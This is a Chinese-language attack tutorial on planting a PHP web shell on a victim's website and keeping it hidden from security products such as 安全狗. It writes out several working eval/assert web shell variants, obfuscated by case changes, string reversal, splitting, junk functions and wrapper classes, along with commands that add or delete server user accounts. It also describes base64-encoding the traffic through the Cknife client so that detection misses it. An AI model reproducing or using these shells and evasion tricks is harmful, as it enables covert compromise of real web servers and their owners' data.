目的:攻击者在被害者网站上挂载一个自己的木马文件1.php,然后通过在攻击者电脑上访问该挂载文件来实现对被害者网站或者被害者电脑进行侵害。
攻击者希望执行:
创建服务器用户:
key=echo('<pre>');system('net user a a /add');
删除服务器用户:
key=echo('<pre>');system('net user a /del');
那么在被害者网站服务器上安装有应用防火墙的情况下应该如何让木马文件不被检测删除呢?即怎么绕过安全检测软件如ByPass安全狗、云锁、D盾等。这里以安全狗为例进行绕过:
先概括一些绕过方式:
1.文本查杀绕过:
大小转换strtolower()
文本颠倒strrev()
文本分割
干扰函数echo/print_r/var_dump
加密
语言特征function/class
2.动态执行查杀绕过:
加密传输
改变传输特征
一、利用Php函数特性 + 大小转换 绕过:
1.php:
<?php
$a = "eVal";
$b = strtolower($a);
$b(@$_GET['KEY']);
?>
//但是只可惜eval不是个函数不具备变量就可以直接当成函数执行的特性。
二、eval->assert + 字符串颠倒 绕过:
<?php
$a = "trEsSA"; ##1
$b = strtolower($a);##2
$c = strrev($b);##3
$c($_POST['key']);##$
?>
三、文本分割函数 绕过
$a = "trE"."sSA" ##1
或
$a = array("Tre","sSa");
$a = $a[0].$a[1]; ##1
下面部分同上
四、干扰函数
print_r($c = strrev($b)); ##4
echo(var_dum($c($_POST['KEY'])); ##5
五、语言特征
自定义一个函数:
function gkey($a){
@eval($a);
}
gkey($_POST['key']);
或者自定义一个类:
class kkey{
public function gkey($a){
@eval($a);
}
}
$key = new kkey;
$key->gkey($_POST['key']);
动态绕过
一连上服务器再抓包可以看到被安全狗拦截:
抓包看到key字段被base64加密传输了:
于是将木马文件中加入解密函数:
然后打开cknife的config.ini修改配置:
判断是否动态绕过的三个标准(缺一不可):
- 木马脚本文件能否运行
- 安全狗能否检测到
- Cknife是否能在连接服务器后查看被攻击方文件。